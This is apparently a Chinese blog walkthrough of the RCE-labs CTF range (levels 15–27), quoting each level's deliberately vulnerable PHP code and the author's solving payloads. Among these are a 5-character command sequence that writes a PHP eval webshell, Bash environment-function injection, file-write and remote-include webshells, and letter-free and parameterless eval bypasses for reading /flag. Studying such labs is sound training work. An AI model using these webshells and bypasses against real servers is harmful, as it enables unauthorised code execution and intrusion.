打靶日记-RCE-labs(续)

前言

在第15关尝试写入一句话木马并没有成功,但是在kal测试成功,后续的第18到27关在【NSSCTF平台】

5字符rce

最近一直在看相关文章,记录一下相关知识。

在linux中,如果命令过长可以用续航符(\),来将一行命令变为多行来写

​sh​ 是 Linux/Unix 系统中的 Bourne Shell,是一种命令解释器(Shell),用于执行用户输入的命令或脚本文件

输入通配符 * ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

*使第一个列出的文件名(ls)当作命令,剩下的文件名当作参数,而*后面的s有限制了只有含有s的字符串才能当做参数

通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出)

​linux​中,dir​命令和ls效果基本一样,只有配合重定向符写入文件时有一些差别,ls​写入文件中时,每个文件名都是单独一行,它会自动换行,有时会影响到我们的命令执行,而dir​会把内容全部写入一行中,同时会自动补全空格

ls -t 会将文件以创建先后顺序排列,创建时间靠后的文件排在前面。ls -th同样的作用,这里同 -th是为了调整-t参数的位置

使用 -t

使用 -th

可以看到调整位置后就有完整的命令 ls -th >a。在结合rev倒置输出以及dir 知识

这里可以直接构造一句话木马,因为有<,?,需要将其进行base64转换,这样payload里就没有特殊字符了。

同时还有空格问题

echo PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7ID8+|base64 -d>1.php

这一条命令有两个问题,需要替换一个用 ${IFS}, 具体见

5位可控字符下的命令执行 - 灰信网(软件开发博客聚合)

所以命令为 echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7ID8+|base64 -d>1.php

分开传参数

>dir

>f\>

>ht-

>sl

*>v

>rev

*v>a

>hp

>p\\

>1.\\

>\>\\

>-d\\

>\ \\

>64\\

>se\\

>ba\\

>\|\\

>8+\\

>ID\\

>k7\\

>XS\\

>En\\

>Jz\\

>Rb\\

>U1\\

>BP\\

>X1\\

>gk\\

>bC\\

>Zh\\

>ZX\\

>Ag\\

>aH\\

>9w\\

>PD\\

>S}\\

>IF\\

>{\\

>\$\\

>o\\

>ch\\

>e\\

sh a

sh f

如图在执行完命令后已经生成1.php文件,但是在题目中尝试后发现不行,还有反弹shell我还不太懂😳😳等我沉淀沉淀再说。

【RCE-labs】Level 18

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 --- 

来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

*/
foreach($_REQUEST['envs'] as $key => $val) {
    putenv("{$key}={$val}");
}

system('echo hello');

highlight_file(__FILE__);

?>

通过看大佬文章总结

Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"

Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello"

BASH_FUNC_echo%%: Bash 允许通过环境变量定义函数,格式为 BASH_FUNC_函数名%%=() { 命令; }。这里定义了一个名为 echo 的 Bash 函数,内容是执行 id 命令。

env: 用于设置环境变量并在新的环境中执行命令。

bash -c 'echo hello': 启动一个新的 Bash 实例,执行 echo hello。由于环境变量中定义了 echo 函数,Bash 会优先执行该函数(id),而不是内置的 echo 命令。

效果: 当执行 echo hello 时,实际运行的是 id 命令,输出当前用户的信息。

同理构造

env $'BASH_FUNC_echo%%=() { cat /flag; }' bash -c 'echo hello'

当执行 echo hello 时,会输出flag

就本题而言,payload

?envsBASH_FUNC_echo%%=()%20{%20cat%20/flag;%20}

【RCE-labs】Level 19

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 文件写入导致的RCE --- 

https://www.php.net/manual/zh/function.file-put-contents.php

参考可以写入的内容:
<?php @eval($_POST['a']); ?>

*/

function helloctf($code){
    $code = "file_put_contents(".$code.");";
    eval($code);
}

isset($_GET['c']) ? helloctf($_GET['c']) : '';

highlight_file(__FILE__);

?>

文件写入这就比较简单了,主要是 file_put_contents函数

file_put_contents() 是 PHP 用于写入文件的函数,语法为:

复制代码
file_put_contents(文件名, 内容);

构造payload ?c='shell.php', '<?php @eval($_POSTa); ?>'

hackber传参 a=system('cat /flag');

【RCE-labs】Level 20

最简单的文件上传没有啥过滤,上传一句话木马就行了,不再多说

【RCE-labs】Level 21

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 文件包含导致的RCE --- 

allow_url_fopen = On
allow_url_include = On
默认全开的环境,可以尝试多种解法,若对此存有疑问,尝试去 github.com/ProbiusOfficial/PHPinclude-labs 了解更多文件包含的知识。

远程文件包含可用链接(<?php @eval($_POST['a']); ?>):
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

FilterChain的Payload生成器:
https://probiusofficial.github.io/PHP-FilterChain-Exploit/
/exp.php

注意:在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 incluude($_GET['file']) 的区别。
*/

function helloctf($code){
    $code = "include(".$code.");";
    echo "Your includeCode : ".$code;
    eval($code);
}

isset($_POST['c']) ? helloctf($_POST['c']) : '';

highlight_file(__FILE__);

?>

这一题的方法有很多,都可以试试

1.直接包含

c='/flag'

include()函数会将目标文件的内容作为 PHP 代码解析并执行。当目标文件是纯文本(如/flag)时,其内容会被直接输出

2.php伪协议

c='php://filter/read=convert.base64-encode/resource=/flag'

3.拼接命令

c='1.php');system('cat /flag'

4.远程文件包含

  • allow_url_fopen = On:允许通过 URL(如 http:// 或 https://)读取远程文件。
  • allow_url_include = On:允许通过 include() 执行远程 PHP 文件的代码。

题目正好给了一个网站

c="https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI"&a=readfile('/flag');

【RCE-labs】Level 22

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : HP 特性 - 动态调用 --- 

PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。

try ?a=system&b=ls

*/

isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;

highlight_file(__FILE__);

?>

根据题目提示,a为函数名,b为参数

?a=system&b=cat /flag

【RCE-labs】Level 23

复制代码
<?php 
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 自增 --- 

可用字符:! $ ' ( ) + , . / ; = [ ] _

自增通过一下几个特性实现:
变量:
在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。

数组->字符串:
在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
$_ = 1; var_dump($_); var_dump($_.'');
这将会输出:int(1) string(1) "1"
但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容。
所以 [].'' 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array。

字符串:
字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
$_ = "Hello-CTF";var_dump($_[0]);
这将会输出 string(1) "H"
所以在 $_ = ([].'')[0]; var_dump($_); 你会得到输出:string(1) "A"

自增:
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$_。
当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $_ = ([].'')[0]; 在前面时输出B,后面时输出A。

所以通过特性的连用,你可以看到很多自增的Payload长这样:
payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]); 
&__=system 
&_=ls

自增题目的考点通常在Payload的长度限制,挑战关卡,让你的Payload足够短吧。
*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)){
    die("WAF!");
}else{
    echo "Your Payload's Length : ".strlen($code)."<br>";
    eval($code);
}

?>

感谢题目大大给的payload,使用时要把payload进行url编码

code=%24_%3D%28_/.%29%5B%27%27%3D%3D%27_%27%5D%3B%24_%2B%2B%3B%24__%20%3D%20%24_%2B%2B%3B%24__%20%3D%20%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%20%3D%20%24__.%24_%2B%2B.%24_%2B%2B%3B%24_%20%3D%20%24__%3B%24__%20%3D%27_%27%3B%24__.%3D%24_%3B%24%24__%5B__%5D%28%24%24__%5B_%5D%29%3B

&__=system

&_= cat /flag

【RCE-labs】Level 24

相关知识见

RCE篇之无参数rce - 学安全的小白 - 博客园

https://a1andns.github.io/post/%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE

两位大佬讲的都非常详细

复制代码
<?php 
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无参命令执行 --- 

根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 ------ 这可以从一些获取外部值的函数实现:
getallheaders()
session_id()
...
其次是对嵌套参数的处理 ------ 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:
- array_reverse():数组反转
- pos():输出数组第一个元素
- next():指向数组的下一个元素,并输出
...

随后是一些文件读取显示的操作:
- show_source() - 对文件进行语法高亮显示。
- readfile() - 输出一个文件。
- highlight_file() - 对文件进行语法高亮显示。
- file_get_contents() - 把整个文件读入一个字符串中。
- readgzfile() - 可用于读取非 gzip 格式的文件

...你随时可以通过查阅PHP官方手册中函数相关的部分来找到上面类似的内容。
*/

function hello_code($code){
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)){
        eval($code);
    }else{
        die("O.o");
    }
    
}

isset($_GET['code']) ? hello_code($_GET['code']) : null;

highlight_file(__FILE__);

?>

这里构造payload

?code=show_source(array_rand(array_flip(scandir(current(localeconv())))));

在bp上重复传参,直到出现flag就行了

【RCE-labs】Level 25

利用题目给的工具即可

【RCE-labs】Level 26

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无字母数字的代码执行 --- 

参考和依据的文章:https://xz.aliyun.com/t/8107

*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-z0-9]/is", $code)){
    die("WAF!");
}else{
    echo "Your Payload's Length : ".strlen($code)."<br>";
    eval($code);
}

?>

这里官方给了很多方法,但是我尝试取反和异或为啥会报错类我服了,这里还是用自增绕过

【RCE-labs】Level 27

我还不怎么会模板注入这个先放放

相关推荐
A小辣椒1 天前
TShark:Wireshark CLI 功能
linux
A小辣椒1 天前
TShark:基础知识
linux
AlfredZhao1 天前
OCI 明明分配了 200G 系统盘,为什么 df 只看到 30G?
linux·oci
AlfredZhao2 天前
vi 删除指定范围的行,不用再反复按 dd
linux·vi
用户9718356334662 天前
银河麒麟 KY10 申威(SW64) 安装 nginx-1.16.1-2.p01.ky10.sw_64.rpm 详细步骤
linux
猪脚踏浪2 天前
linux 拷贝文件或目录到指定的位置
linux
大树883 天前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠3 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
霸道流氓气质3 天前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务
bush43 天前
嵌入式linux学习记录十四、术语
linux·嵌入式